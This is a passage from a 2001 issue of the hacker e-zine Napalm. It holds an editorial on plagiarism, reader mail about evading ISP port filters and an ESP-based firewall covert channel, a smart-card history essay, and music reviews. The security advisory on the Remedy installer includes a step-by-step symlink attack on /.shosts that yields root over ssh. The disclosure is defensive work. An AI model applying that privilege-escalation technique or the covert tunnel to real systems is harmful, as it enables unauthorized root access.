/\ /^/_ _ __ __ _|^|_ __ ___ / \/ / _` '_ \/ _` | | '_ ` _ \ / /\ / (_| |_) (_| | | | | | | | / / \/ \__, .__/\__,_|_|_| |_| |_| |_| . . . ..n11: 2001.07.16 --------------------------------------------------------------------------- all content copyright © 2001 by the individual authors. all rights reserved --------------------------------------------------------------------------- # prtvtoc . . . ..................................................................... 0x00 Editor's Comments 0x01 Subscriber Emails 0x02 Security Holes in Remedy Client Installer 0x03 Multi-Technology Automated Reader Cards (MARC) 0x04 Chaffing as an Alternative to Encryption (Part II) 0x05 Music Reviews 0x06 Credits ..................................................................... . . . ___________________________________ --------------------------- - kynik [=] 0x00: Editor's Comments I have a gripe. Yep, you lucky readers get to hear it. It's about plagiarism and partially about big business. To set the scene, I search the web periodically for sites that use Napalm's material. They might have either a mirror of some or all of our issues, or they have a single article they found useful. 95% of the time, proper attribution is given, either by posting the entire issue (with copyright notice at the top) or by giving the author and/or Napalm credit somewhere. Sure, I've sent some emails to people asking them to attribute the material they've taken from Napalm to its rightful owner. And in every case so far, they've complied and added a little note to the link or to the document. I'm perfectly cool with that. Now, you wouldn't think that big businesses pay much attention to this little zine or its contributors. Echo8 recently sent an email out to a few of us, part of which follows: I found out today that Sun finally patched the hole I reported in Volume Manager last year (the article I submitted for Napalm 6). I also found out that their bug report basically ripped off my work, verbatim. The patches: 110029-02, 110032-02, 110030-02. These are available to the public at sunsolve.sun.com. Sun gives credit to Veritas for discovering the hole, which is complete bullshit. The bugid: 4345464. This is available only to those with Sunsolve logins. This is where they commit a fairly blatant act of plagiarism. They copied almost my entire write-up, exploit included. I mean, come on, Sun...how hard is it to give credit to an independent security researcher like echo8? It's a great de-motivator for him, I'm sure. I sent them a comment through one of their online forms: The bug ID indicated by the URL above contains plagiarized and copyrighted material. Compare http://napalm.firest0rm.org/issue6.html#vvm with the content of the above page. You will see that the page at sunsolve is almost an exact copy of the article included in that issue of Napalm e-zine. As with every issue, there is a copyright notice which states that every article is the copyright of the individual authors, in this case, echo8. I will normally accept mirroring or use of material found in Napalm provided that we are A) given notice of the use and B) attributed in a clear way. I politely ask that you attribute discovery of this bug to echo8 and either link to Napalm or indicate which issue the article appeared in. I don't think that was too much to ask, do you? Any commentary on this would be greatly appreciated. ___________________________ --------------------------- [=] 0x01: Subscriber Emails Brad Copely wrote: My ISP uses a firewall (I'm assuming) to stop incoming connection attempts to my computer. Is there any way to get around, or at least explore this problem? I'm on a cable network in Japan. [ If you can determine the ports that they're blocking, you can certainly run your services on non-standard ports. Your webserver could run on port 8888, your ftp on 2121 and so on. If you have any firewall software on your computer (BlackIce Defender for Windows, ipf/ipchains for the *nixes), get on a host outside your network and portscan yourself. Look back at your logs and see which ports weren't let through. {kynik}] ----------------------------------------------------------------- Kyle Amon wrote: Nice to see some pretty real shit pop up now and again. Keep up the good work. -- Kyle [ We do appreciate your comments, Kyle, thanks! {kynik} ] ----------------------------------------------------------------- Monkey Boy wrote: Kynik, Just read issue 10, top stuff as usual (especially the chaffing thing, interesting idea...look forward to your code)... but what happened? You said you were gonna include my comments on the IPSec covert thing (see below)... where are they? i wanna be famous, dammit! ;o) keep up the good work peace Monkey-Boy (uk) [ Yep, that was my mistake...I lost track of some of the commentary monkey-boy had, but I'll add that in now. Hopefully this clears up some questions that you may have had {kynik} ] > It wasn't my article, but I'll be happy to try and clarify. I'm also > including this in the next issue, if you don't mind. I've cc'd ajax, the > author of the article on this as well. > > On Wed, 7 Feb 2001, Monkey Boy wrote: > >>> re:IPSEC/ESP covert channel (issue 9)... >>> >>> as usual another interesting article, just a few questions tho'... >>> >>> (i'm relatively new to this security lark, so let me off if i've made >>> some huge error ;-) >>> >>> you admit that the host inside the firewall will need to have been >>> compromised, and if this is the case could you not just send your data >>> (that you want to get into their network) via a normal IPSEC packet >>> configuration? (we already know the firewall will let this through, as >>> this is the 'hole' you are exploiting). Admittedly this means that >>> SA's would be visible on the compromised machine... >> >> This is what he was proposing, as far as I can see. Remember what ajax >> said at the beginning of the article: >> >> ]IPSEC is not a protocol. IPSEC is a big towering ugly wump of >> ]protocols, all residing at various levels in the ISO model. Among them >> ]are ESP and AH, which kinda live in the transport layer; and ISAKMP, >> >> He's using ESP packets to bypass the filtering on the firewall. And since >> they're encrypted (supposedly), the firewall can't do anything anyways. See, what I thought he was trying to do was to get a packet that *looked* like it was an encrypted ESP packet (though it is in fact a cleartext packet, that looks like ESP) through the firewall, and my point was if you are being this sneaky why not just actually use a 'real' IPSEC tunnel to the compromised host (if the firewall is letting through ESP, it follows it should be allowing the rest of IPSEC through, non?)... As i said guess it just means you can cut down on SA setup overhead traffic (though would you not need to have a shared key to allow the ESP encrypt/decrypt to work, if (as you assume) the packet is actually ESP'd (and not a cleartext that *looks* like ESP, as i assume)? [ I don't think I was totally clear on this, but you got the right message anyways. The packets we're sending out don't _have_ to be actually valid, encrypted ESP packets. Sure, they could, but that's probably more trouble than it's worth. If you wanted some sort of encryption, you could roll your own, too. It doesn't matter to the firewall. It just assumes that since ESP packets are _supposed_ to be encrypted, trying to filter ANYTHING that looks like an ESP packet is a waste of time. Thus the tunnel. {kynik} ] >>> If you use your exploit, will the compromised host not think that the >>> covert channel packet it has received is an ESP packet and try and >>> decrypt it, and fail, therefore setting off alarms/debug messages? >>> (similarly if the firewall is only letting IPSEC/ESP packets through to a >>> VPN device to decrypt, will this VPN device not try & decrypt (and fail >>> as before) before dumping the packets out to your compromised host? >> >> No, because you've modified the host to accept these ESP packets as a >> wrapper, strip off the wrapping and pass the traffic to the TCP/IP stack. >> If the host actually relies on ESP packets getting to it, you could >> probably modify the code that handles that and be able to set a flag that >> would distinguish legitimate IPSEC from tunnelled traffic. If you have a >> dedicated VPN device inside your firewall, it won't notice the packets >> unless they're addressed to it. Assuming we have a separate host from the >> VPN appliance, we're banking that the firewall is misconfigured (aren't >> they always?!) and that it'll let through ESP to anything on the local >> network. The firewall could be set up to only allow incoming ESP traffic >> to the VPN appliance, in which case we're foiled. Guess it was just wishful thinking that *all* firewalls would be configured to only let IPSEC/ESP through to the appropriate place (i.e. the VPN device or a host doing IPSEC)... living in a dream world again ;-) Would be interested to hear what ajax has to say; over to you, my friend [ Me too. He stayed totally silent when this email exchange went on. Care to enlighten us, ajax? {kynik} ] ___________________________________________________________ --------------------------------------------------- - echo8 [=] 0x02: Security Holes in Remedy Client Installer Summary ------- Due to improper handling of temporary files, the installer program for Remedy Software's Action Request System client for unix can allow local users to gain root privileges. Details ------- The installer script for the unix AR clients (ar_install) uses files with predictable names in world-writeable locations to store temporary files and logging information. The code does not check to see if the files exist before writing to them, or if the files are symbolic links to something else. A local user can exploit this (by symbolically linking the target files to something else ahead of time) to create or overwrite files anywhere on the system. If the AR client is installed as root, this type of attack can be used by unprivileged users to gain root access under the right circumstances (eg. a local user knows that the AR client will be installed on a system in the near future). There are several instances of this problem in ar_install. A few examples: # Name of the file to record a log of the installation into # LOGFILE="/usr/tmp/arClient_install.log" ... ############################################ # lecho - Logged echo to stdout # Arg 0 to N = Data to be echoed ############################################ lecho() { echo "$@" >> $LOGFILE echo "$@" } The lecho function is then frequently used to write logging data to $LOGFILE. Another example: # # Test if "ex -" has any problem on this machine. If there is, use "ex" # echo "$PROD" > /tmp/ex.test ex - /tmp/ex.test << EOF /$PROD/ s/$PROD/$PROD_LONG/ w! q EOF RET=$? RES=`cat /tmp/ex.test` if [ \( $RET -eq 0 \) -a \( "$RES" = "$PROD_LONG" \) ] then EX="ex -" else EX="ex" fi Demonstration ------------- $ hostname brokenhost $ id uid=5000(foo) gid=20(users) $ ln -s /.shosts /var/tmp/arClient_install.log $ ls -alt /var/tmp/arClient_install.log lrwxrwxrwx 1 foo users 8 Apr 12 14:57 /var/tmp/arClient_install.log -> /.shosts ...wait for root to run ar_install... $ ls -alt /.shosts -rw-rw-rw- 1 root other 50873 Apr 12 14:58 /.shosts $ cat > /.shosts brokenhost foo ^D $ ssh -l root brokenhost Last login: Thu Apr 12 14:50:30 from someotherhost Sun Microsystems Inc. SunOS 5.6 Generic August 1997 brokenhost # id uid=0(root) gid=1(other) brokenhost # Vulnerable Versions ------------------- I have tested this on Solaris 2.6 and 8, using the installer for AR 4.5.1. The installers for the other supported unix versions (Irix, AIX, HP/UX and NCR System 3000) contain similar issues, so it's likely that they are vulnerable as well. The older versions of AR that are available for some platforms (3.2.1) use a different install script. That script uses different filenames, but appears to have similar flaws. Workaround ---------- If the AR client is being installed on a single-user workstation, it can be installed as a non-root user (this is not the default, but the documentation explains how to do it). If the AR client must be installed as root, ar_install can be trivially modified to avoid using a world-readable/writeable space to store its temporary files. Vendor Notification ------------------- The vendor was notified on 4/13/2001. Copyright 4/12/2001, by echo8 ________________________________________________________________ ------------------------------------------------------- - _azure [=] 0x03: Multi-Technology Automated Reader Cards (MARC) Common Access Cards (CAC)/Multi-Technology Automated Reader Cards (MARC) /Introductions and Explanations I first heard about the MARC card some time in 1996 via a United States Navy website. The information was passed to me by the non-religious progeny of a local Mennonite family. MARC was already a functioning beta program at that time. The website where I gleaned my initial information is no longer accessible to the public. However, the Department of Defense has continued to develop the program over the course of the last few years. During this interim, the project has metamorphized somewhat. Currently, MARC has been renamed to SMART. The card itself has been re-christened as the Common Access Card (CAC). Other cards/systems have been tested and are also functioning to similar results (and in general, accolades from the military community). A transformation is occurring in the way our government tracks and deploys its considerable resources. This article aims to provide an overview of different smart card technologies and some of their various physical specifications. I will also provide a brief timeline outlining the development cycle of several different systems, and their integration into military life. Most of this information is cobbled together from various sources (official .gov and .mil sites), and portions of this article are lifted verbatim from those sources. References are provided at the end of the article. /Types _/MARC The Multi-Technology Automated Reader Card (MARC) project was initiated in response to a proliferation of single use, updatable technology programs throughout the Department of Defense. The MARC project evaluates the concept of providing a multi-functional, cross-service utility card capable of satisfying multiple requirements within the DOD for a portable updatable medium. The MARC test program moves the DOD toward a "one card per soldier" concept for portable data carriers. The MARC is an individually carried smart card that has several media: a standard 3 of 9 bar code, magnetic stripe, embossed data, printed information (including a digital photograph), and an Integrated Circuit (IC) computer chip. The combination of several media on one credit card-sized device gives the MARC its versatility: it can interface with a variety of technologies and systems, from rudimentary imprinting machines to computer systems that use IC chips as data carriers. The MARC Card consists of a Datacard Corporation MIC-1600 ICC card containing a 2K byte reusable (EEPROM) memory and microprocessor chip, a three-track magnetic stripe, a 3 of 9 bar code and various embossed data, including the holder's photograph. The card is a standard, CR-80 size plastic card that conforms with ISO 7816/1. The microprocessor contains a Smart Card Operating System (SCOS) used to organize the MARC data into files and protect them from unathorized access. The MARC connects to various smart card readers through metallic contacts on the face of the card which are compatible with ISO 7816/2 specifications. Data on the card is accessed through a Smart Card User Interface (SCUI) which, in conjunction with the SCOS security features, controls all access to the MARC data and security features in a flexible, controlled manner. Additional technologies, including the use of holograms, laminiated photos, and the Portable Data File (PDF-417) two-dimensional bar code, are being considered. ---/Smart Card Operating System (SCOS) The MARC smart card contains a SCOS from Datacard Corporation under a licensing agreement with Personal Computer Card Corporation (Pc3). The SCOS provides a high level command language that supports data structures and access to files and records. Password keys are assigned to control reading and writing of individual data elements and sets. ---/Smart Card User Interface (SCUI) The SCUI provides a standardized, but highly flexible and tailorable interface between the application and the data on the MARC. A tailored card for each individual application provides the necessary structure and security information to allow the application to access the MARC data without the possibility of affecting other applications' data. ---/Security Files are protected from unauthorized access by requiring that one or more password keys be submitted to the ICC. Incorrect key submissions lock access to all files protected by the key until it is submitted correctly. For security reasons, only correct key submissions are confirmed. Eight successive incorrect key submissions permanently locks the card. To ensure the MARC cardholder controls and is aware of all data written, the individual is required to submit his or her Personal Identification Number (PIN) before any data (with the exception of field medical treatment data) can be written to the ICC. ---/Communications Protocol Communication with the microprocessor module is based on the protocol defined in ISO 7816/3. Full ISO compatible (t=0) protocol is supported. _//Technical Specifications ---/Microprocessor 62C580 3.57MHz clock 4.50 - 5.50v, 10ms Reset duration 10ms ---/Serial Input/Output 9600bps asynchronous, 8 bit data ISO (t=0) and Pc3 protocols Transmit turnaround delay: 5ms Line timeout: 1.0 seconds Reset response: conforms to ISO 7816/3 Response delay < 10ms ---/Keys Issuer, PIN, and 8 application keys 1-8 characters 8 retries ---/Memory 1920 bytes data and File Descriptor Table storage 64 data files maximum 256 bytes per record 10,000 erasures ---/Physical Characteristics 86mm x 54mm x .84mm ISO 7816/2 standard contacts 10,000 insertion cycles / 10 year data retention ---/Environment 0 to 70 degrees centigrade operating -40 to 125 degrees centigrade storage 30 to 80% non-condensing operating 5 to 95% non-condensing storage _/AMS Optical Memory Card The AMS is a user-friendly software package designed to operate at different supply points: the depot, central receiving/shipping points (CRSPs), and supply support activities (SSAs). Each of these operations has similar equipment and software packages that complement the other, making them compatible. The AMS hardware consists of an IBM-compatible personal computer, optical memory card reader/writer, bar code reader (BCR), radio frequency tag, tag docking station, and printer. The AMS system outputs several different products such as scannable bar code labels, radio frequency tags, and optical memory cards. The AMS is currently a stand-alone system that is being incorporated into the Standard Army Retail System-Objective (SARSS-O) used at the direct support unit. The AMS is an efficient, cost-effective and compact shipping manifest and database management system that will expedite receipt processing when used properly. The need for AMS arose during evalutaions of the logistical problems during _Operation Desert Shield/Storm_ in the early 1990s. Supplies were inadequately manifested. Storage sites had no access or visibility. No inventory control procedures existed. All these logistical problems led to major accountability problems. The General Accounting Office (GAO) cited these accountability problems as the main reason for poor supply distribution and excessive costs. The Defense Logistics Agency (DLA) then began a research that developed the AMS. The AMS's key component for reducing receipt processing is the optical memory card. The size of a typical credit card, the optical memory card provides detailed information on the contents of each multipack or containerized shipment. Each card accompanies its multipack or container to its final destination. The optical memory card accesses and updates the SARSS database, which results in the immediate search and retrieval of high-priority items. The AMS, and specifically the optical memory card, are designed to interface with all the military services' retail supply systems. This interface enables asset visibility, expedites receipt confirmation, automates the reconciliation process, gives automated reports of discrepancy, and creates issue and packing lists for supported customers. The laser optical memory card has many advantages. The optical memory card can store 2.5 million bytes of information (approximately 1,200 pages of hard copy). It costs only $4.00 per card. Very resilient, the optical memory card can withstand temperatures from -40 to +212 degrees Fahrenheit. In addition, it is not affected by severe weather, water or shock damage. The optical memory card also has a protective coating that shields it from magnetic fields, electrostatic, and radio frequency interference. The optical memory card allows a database to prioritize offloading and issue, which gets high-priority supplies to the unit quicker. This system will eliminate the backlog of processing shipments. Before the AMS, 40 personnel worked three shifts to receive and process receipts from a standard shipment. With the introduction of AMS, four soldiers can complete the same tasks in a single shift. /History _/Timeline The following is a brief overview of smart card deployment throughout the last several years. Source material is footnoted where appropriate. _//1993 ---/November - MARC testing begins at Fort Bragg, NC. The cards' success at the initial site led to further testing in Hawaii. _//1994 ---/February - Initial MARC test at Fort Bragg, NC and Hawaii ends. ---/August - 25th Infantry Division (Light) US Pacific Command (PACOM), Hawaii, begin participating in the MARC test. Hardware and software is installed and food service personnel and Personnel Administration Center (PAC) staff are trained on the new equipment and procedures. Information Technology Solutions, Inc., of Petersburg, Virginia, under contract with the product manager for the Army Food Management Information System (PM AFMIS), trains 90 food service workers from 12 dining facilities and 37 PAC employees. The headcounters at each dining facility serve as the main testers of AHC. They operate a handheld computer called a Portable Data Collection Device (PDCD), a commercial off-the-shelf item made by Telxon, Inc. Diners hand their MARC to the headcounter, who verifies the holder's photo on the card and scans it through the PDCD. The PDCD reads each diner's status and MEC to determine the correct cost of the meal. The basic information recorded by the PDCD includes the first five characters of the diner's last name, the diner's social security number, meal type, payment method, and amount paid. Recording these data electronically eliminates the need to collect signatures from MARC holders at the headcount station and reduces the paperwork required to collect headcount data. The PDCD keeps an up-to-the-minute record of diners served and cash collected. It also compiles summary information that speeds up post-meal accounting. The PDCD transmits data collected to the AFMIS 3B2 minicomputer after each meal. However, the PDCD has sufficient memory capacity to store information on multiple meals should the AFMIS system be inaccessible or inoperable. Automated Head Count (AHC) gives the BAS diner the option of paying for his meal with cash or by payroll deduction. If the diner chooses the payroll deduction option, the headcounter hands the diner the PDCD, and the diner enters a four-character personal identification number (similar to a transaction at a bank's automated teller machine). Payroll deduction data are sent through the Defense Data Network to the Defense Finance and Accounting Service for entry into the Defense Joint Military Pay System. Payroll deductions posted before the 15th of the month appear on that month's Leave and Earnings Statement (LES). Payroll deductions made after the 15th of the month appear on the next month's LES. - MARC has already been issued to soldiers stations at Fort Shafter, Oahu and marines at Marine Corps Base, Kaneohe Bay. [a] ---/October - MARC is distributed throughout the 25th Infantry Division (Light), US Army Hawaii (USARHAW), 45th Support Group and the 703d Military Intelligence Brigade. _//1995 ---/January - AHC prototype test at Schofield Barracks, Hawaii. - MARC is put to the "real test" during the deployment of 3,600 soldiers from the 25th Infantry Division to _Operation Uphold Democracy_ in Haiti. The card accounts for personnel readiness by updating and processing key information to the MARC during the Preparation for Overseas Movement (POM). Based on 25th Infantry Division requirementns, the MARC program produces two spin-off cards for issuing in Haiti. The first is an access control card for local national employees and the second an access control card for secure areas. After the success of the MARC during _Operation Uphold Democracy_, Marine Forces-Pacific requests inclusion in the MARC test bed. ---/September - The card is issued to all Marines in Hawaii. The US Marine Corps modifies the MARC to serve as a field training record and shipboard accountability card, in addition to the card's basic design. _//1996 - The Clinger-Cohen Management Reform Act of 1996 (Section E of Public Law 104-106) is passed. [b] ---/April - The 77th Maintenance Company's Class IX (repair parts) SSA, operating out of Camp Tampa, Bosnia, is fielded the AMS. The AMS's ability to use the optical manifest card to batch process incoming shipments from the depot cut the time that parts spent in the receiving section of the warehouse in half, saving about 80 manhours of work per week. - Approximately 18,000 25th soldiers asssigned to the Hawaii units participate in a prototype test of AHC in which they used the MARC as a substitute for the regular meal card. ---/July - Fort Hood, Texas, July 15, Staff Sgt. Joseph K. George of 2nd Platoon, 4th Military Police Company, 4th Infantry Division, was one of the first soldiers to get his hands on the hand-held data entry device for the MARC system. He puts the unit through extensive durability and temperature tests. [c] ---/October - DOD funding for the two-year Hawaii MARC card test ends. After the success of MARC, the commander of the 25th Infantry Division and USARHAW decides to continue the program throughout FY97 for division and USARHAW units. The 25th Infantry Division and USARHAW food service chief says the MARC in the dining facility was a success and the Army needs to keep the card. The MARC ends all paperwork associated with the meal cards. Also, the card is needed for deployments to update soldier information during predeployment POM. The only consequence to units that decide to use the MARC is funding. The cards are funded internally. Continued funding for the project beyond FY97 is uncertain. Efforts continue to secure funding to expand the MARC program Armywide in FY98. _//1997 ---/July - Floor Statement by U.S. Senator Charles S. Robb (D- Va.) proposes $36 million in funding for FY98 to expand the MARC program. [d] ---/September - Sen. Charles S. Robb votes in favor of the Fiscal Year 1998 Defense Appropriations bill. The measure passes the Senate by a vote of 93-5. [e] _//1998 ---/April - Army begins issuing 18,750 smart cards to to basic training recruits at Fort Sill, Okla., as part of a year-long pilot program. - On April 6, the United Press International reports recruits will use the cards to buy toiletries, clothing and stamps, get haircuts and make telephone calls during basic training. It also states that a lost smart card "can be easily replaced and because each card is keyed to a recruit's fingerprint, it cannot be used by others." The article reports that the $4 million smart card pilot program is a joint project of the Army, the Treasury Department, Mellon Bank, the Defense Finance and Accounting Service, and the Army and Air Force Exchange Service. - Defense Finance and Accounting Service spokesperson Fran Gurka, who is coordinating the smart card program, says: "The card offers a sense of security not available with cash. When recruits were paid in cash, if they lost it, tough luck." [f] ---/August - Approximately 4,200 multi-technology smart cards are issued to all cadets at the USAF Academy. The Gemplus 4K MPCOS-EMV card was issued with 3-G International's Multi-Application Reader Card (MARC) architecture and Smart Card User Interface (SCUI). This smart card's initial application is Product Technologies, Inc.'s SmartCity electronic purse. The e-purse can be used at the washers and dryers in the laundromats, to make copies in the library, and to purchase snacks. Other point of sale locations are being added. Disposable stored value smart cards are also available for purchase by USAFA employees and faculty. Additional smart card applications will be added in the near future. For example: room access control, medical, manifesting, and training qualifications and test dates. _//1999 - The Paperwork Elimination Act of 1999 (Public Law 105-277) is passed. [g] ---/April - On April 2, 1999, the Undersecretary of the Navy designates the Department of the Navy Chief Information Officer (DON CIO) as the DON lead for Smart Card Technology by memorandum directive. [h] ---/May - A Smart Card Office is chartered on May 24, 1999 to provide focus and management for Smart Card efforts within the Department of Navy. [i] - The Smart Card Program at NTC Great Lakes (Department of Navy) is in full swing. Applications in use include: Electronic funds, Drug Test Management, Joint Food Service (automated dinner check-in), Smart Immune (storage of immunization records), and Smart Dental (storage of dental records). Also under developmnent at NTC Great Lakes is Care Central/TRI-MEP. This application will enhance the special physical exam process by providing the capability to automatically populate physical exam forms and download patient care to the Biomedical Databank. Web development of the application is planned. Card printing and issue at Great Lakes is the task of the local Defense Automated Printing Office (DAPS). Every recruit reporting to Great Lakes receives two smart cards: one temporary card and one permanent card. The temporary card is issued the day of arrival and is formatted to allow the use of a purse application. The purse function, administered by the Navy Exchange, allows the recruit to purchase required and personal items while undergoing training and replaces a World War II process of using "chit" books. Medical and dental information is also written to the card. Near the end of recruit training, each recruit cashes in any remaining funds on the temporary card. All demographic, medical and dental information is transferred to a permanent smart card that also displays a photograph of the individual. The recruit takes this permanent card to his/her next duty station and the temporary card is reformatted and reused. [j] - Similar programs are deployed at Pensacola, FCTC\NAS Oceana, Atlantic Fleet Ships/Norfolk, and NMCB Miramar by the Department of Navy. ---/November - The Deputy Secretary of Defense makes the decision to institute a Department of Defense-wide "Common Access Card (CAC)" as the replacement for the existing military identification card. The Army will adapt this card as its standard military identification. CAC superceeds MARC as 'the' reference to the smart card within the U.S. government. [k] _//2000 - The use of smart cards has become a priority within the Department of Defense (DOD). Public Law 106-65, National Defense Authorization Act for Fiscal Year 2000, directs the Army to establish a project office to cooperate with the Department of the Navy to develop plans for exploiting smart card technology as a means for enhancing readiness and improving business processes throughout the military departments. The Deputy Secretary of Defense's (DEPSECDEF) 10 November 1999 Smart Card Adoption and Implementation Memorandum mandated the implementation of the CAC, which will serve as the Standard ID card for active-duty military personnel (including the Selected Reserve), DOD civilian employees, and eligible contractor personnel; Principal card used to enable physical access to buildings and controlled spaces; Principal card used to enable computer network and system access; and Primary platform for the PKI authentication token. The Army sees participation in the development and deployment of this CAC as an opportunity to respond to the DEPSECDEF memorandum and support the Army EC mission. [l] - DOD Public Key Infrastructure (PKI) mandates that all active duty, selected reservists, civil service and on-site contractors begin using digital certificates by end of FY2001. The CAC card is the hardware token for PKI digital certificates. ---/October - Fort Eustis, Va., U.S. Army Europe in Heidelberg, Germany, and Yongson Army Garrison, Korea begin a Beta Test of the CAC. [m] ---/December - The Army interim policy messages for the CAC/SMART Card PKI are made official. General Cuviello signs the messages on 6 December 2000. [n] _/The Future This technology is intended to eventually enter the civillian world as an identification system. Meant to replace current 'multi-card' systems and represent a single identification point, MARC (now CAC) will revolutionize the way Americans authenticate transactions and conduct business. The ramifications on privacy should be evident. Where will this 'centralized' data be stored, and how/by whom will it be protected? Beyond concerns of legitimate data warehousing, the question begs to be asked: Under what authority is this mandatory tracking system being implemented? Will the CAC replace the state-issued driver's license as our primary means of identification? Will an option be provided to 'opt out' of a system with questionable guarantees for personal security? What organizations will be allowed to gather and traffic in smart card data? With a centralized means of authentication for practically *all* societal functions, what happens when a smart card is compromised? Debate over this topic may not reach the mainstream until cards begin being issued en masse, and the first cases of MARC/CAC fraud are exposed. However, with current advertising campaigns promoting the smart card 'idea' (MasterCard and Visa are pioneering this sales pitch), mass implementation may in fact be *demanded* by the populace as a protection against online crime. Already, the playing field for this battle is being defined through television commercials and 'newly exposed' weaknesses in tradtional identification techniques. Little information is being presented concerning what measures will be taken to insure the integrity of the 'data keepers'. _//Projected Uses for MARC Techology ---/Full Military Deployment LCDR Tony Smith, Pacific Fleet MARC/CAC program manager, says the military plans to fully implement the MARC/CAC Program by Fiscal Year 2001 to all active-duty service members, DOD civilians, retirees, reservists, family members, the Department of Veterans Affairs and the Coast Guard. ---/Social Security The Social Security Administration is already investigating methods of integrating biometric identification into its existing fraud prevention and detection programs. Initiatives requiring enhanced 'methods' of tracking beneficiaries have already crept onto the books. MARC/CAC will represent a decisive solution to the perceived dilemma. [o] ---/Immunization Tracking As demonstrated by the military, medical and dental histories can be tracked effectively with smart card technology. Future privacy initiatives instigated by Capitol Hill will require a secure method of identifying patients, and reliably storing confidential information. 'Of course, when "the military experienced delays in troop deployments because personnel records (such as training completed, immunizations) were not up-to-date and readily available" during the Gulf War, the Pentagon created a MARC card.' [p] /Summary _/Pros The use of smart cards can save millions of dollars formerly allocated for paperwork and storage, not to mention staff who are charged with keeping track of all the paper. Speed of data storage and recovery are increased, and inaccurate record-keeping previously attributed to human error can be significantly reduced. The elimination of a physical 'paper trail' saves on storage costs and reduces the likelihood of accidentally misplacing or destroying data. _/Cons Loss of privacy. Reliance on the "computers don't make mistakes" syndrome. Whereas paper records stored in disparate locations require a fair amount of legwork to alter/tamper with, digital records can and will be altered remotely by individuals or groups who need not ever come in physical contact with their targets. Digital investigators need not risk the face-to-face interaction often required to retrieve such information in today's multi-card world. The advent of the 'paperless permanent record' adds a new dimension to information-warfare tactics and strategy. It has not yet been demonstrated that digital identification can be better protected than its physical-world counterpart. ---/Citizen Protest It may be prudent to note that 'MARC' probably wasn't the wisest choice of acronyms for this project. Certain elements within American society will no doubt draw parallels between the program name (or its stated goals) and motifs drawn from their own tradtional legends and cultural backgrounds (this may actually have been what led to the project's eventual name-change in the late 1990s). Indeed, religious groups have latched onto the issue with a vengeance. Specification information on the original MARC program circulated widely on the Internet in 1996, triggering the (almost immediate) emergence of protest websites and notices on the World Wide Web. Here are two examples of religious (Protestant Christian) objections to the program: http://www.endtimeprophecy.net/~tttbbs/EPN-2/Articles/Articles- \ Mark/marccard.html http://www.google.com/search?q=cache:www.yellowstoneinfo.com/ \ biochips.htm+charles+robb+MARC+card&hl=en [ Unfortunately, both of these URLs are invalid by now, since _azure did write this article several months before it got to me, and I took my time with it too. http://www.endtimeprophecy.net/~tttbbs/EPN-2/GroupPages/grupmrk1.html is the closest thing I could find to the first one, but no sign of the MARC article. Google's cache of the other page has long since expired and yellowstoneinfo.com says very plainly on its main page that it has closed. So much for Internet references. {kynik}] On the other hand, the 'MARC' acronymn may have been chosen for just this reason. Psychological Warfare Operations (PSY-OPS) are known to sometimes coincide with (and co-exist within) legitimate government projects. Whatever the case, religious organizations 'bit', and speculation quickly ran rampant. Anti-MARC sentiment spread amongst like-minded groups on the Internet like wildfire. Curiously, most organized dissention seems to have dissipated rapidly when the program underwent its name change. However, goals and methods of the operation have remained consistent with the earliest documented efforts I have uncovered. /Editorial Smart card technology is here to stay (as much as *anything* ever truly 'stays'). Successful test runs throughout the 1990vs proved that electronic tracking of human and material resources greatly improves the efficiency of logistical planning and personnel management. Programs to integrate smart cards into civilian life are already being implemented nationwide. As more and more Americans rush to get online, the digitization of personal information and identification will continue to escalate until smart cards are considered a 'normal' tool for performing daily tasks. It is anticpated that future e-commerce systems will take advantage of the convenience and security (sic) that smart card authentication bring to the table. Time will tell if this reliance will prove to be a solid foundation for real-world transactions. As smart card technology spreads into general use by society at large, the effects of computerization will become apparent to both proponents and detractors. The issues that are examined at this time may prove to be some of the most important factors for the future of privacy and autonomy in the United States of the 21st Century. A large struggle looms over the horizon for control of the personal data that defines us as human beings. In our modern information-based economy, such personal data takes on a significant dollar value as well as enriching our understanding of ourselves and those around us. Without careful safeguards on the confidentiality and integrity of this data, Americans may well find themselves little more than beasts of burden on the battlefield of the market economy. It is imperative that issues of privacy and security be addressed as these technologies become more prevalant in day-to-day life. It is up to us to bring these decisions into the forefront of the public consciousness before it is too late. 40 acres and a mule. /Closing _/Footnotes [a] http://www.chinfo.navy.mil/navpalib/news/navnews/nns96/ \ nns96019.txt [b] http://www.rdc.noaa.gov/~irm/div-e.htm [c] http://www.dtic.mil/armylink/news/Jul1996/a19960715force2.htm [d] http://www.senate.gov/member/va/robb/statements/floor/marc.html [e] http://www.senate.gov/member/va/robb/releases/nrsep25.html [f] http://www.monkey.org/geeks/archive/9804/msg00155.html [g] http://www.ec.fed.gov/gpedoc.htm [h] http://www.doncio.navy.mil/downloads/memo1.pdf [i] http://www.doncio.navy.mil/focusareas/smartcard/index.html [j] http://www.doncio.navy.mil/focusareas/smartcard/greatlakes.html [k] http://armyec.com/faqs_main.htm#10 [l] http://armyec.com/smartcards/smartcards.htm#background [m] http://www.dtic.mil/armylink/news/Oct2000/a20001010cac.html [n] http://armyec.com/smartcards/cacpkipolicy.htm [o] http://www.ssa.gov/oig/auditpdf/9841007.pdf#xml=http://www.ssa. \ gov/search97cgi/s97_cgi?action=View&VdkVgwKey=http%3A%2F%2Fwww%2 \ Essa%2Egov%2Foig%2Fauditpdf%2F9841007%2Epdf&doctype=xml&Collect \ ion=SSA&QueryZip=biometric%3COR%3E+%28keywords+%3Ccontains%3Ebio metric%29& [p] http://www.he.net/~dvk/imms/immtrack.htm _/Further Reading http://armyec.army.mil/faqs_main.htm#smartcards http://www.smart.gov/information/plan/scplan.html http://www.smart.gov/information/guide/8physical.html http://www.gsa.gov/Portal/main.jsp?tab=home _/Signed .----------------------------------------------------------------------. | | | _azure | | | `----------------------------------------------------------------------' ____________________________________________________________________ ------------------------------------------------------------ - kynik [=] 0x04: Chaffing as an Alternative to Encryption (Part II) Unfortunately, due to a time crunch, I couldn't finish this article. All of the code is done and ready to be thrown at you guys, but I'll wait until issue 12 for that. Please be patient, and sorry for the delay. _______________________________ ----------------------- - kynik [=] 0x05: Music Reviews Anybody like hardcore? I know I do. I guess they're calling it 'new hardcore', though, to distinguish it from its punkier, older uncle, which included bands like Minor Threat and Gorilla Biscuits. (Both of which rock!) So here are the albums, in no particular order: Poison the Well "The Opposite of December" http://www.poisonthewell.com/ (down last time I checked) http://www.wickedland.com/poisonthewell I found an mp3 of Poison the Well's "Slice Paper Wrists" (track 4 on this disc) about a year ago, and I was floored. It was right up my alley, being a huge Vision of Disorder fan. That song found its way onto several mix tapes and CDs until I actually bought the CD a few months ago. There's a little hint of 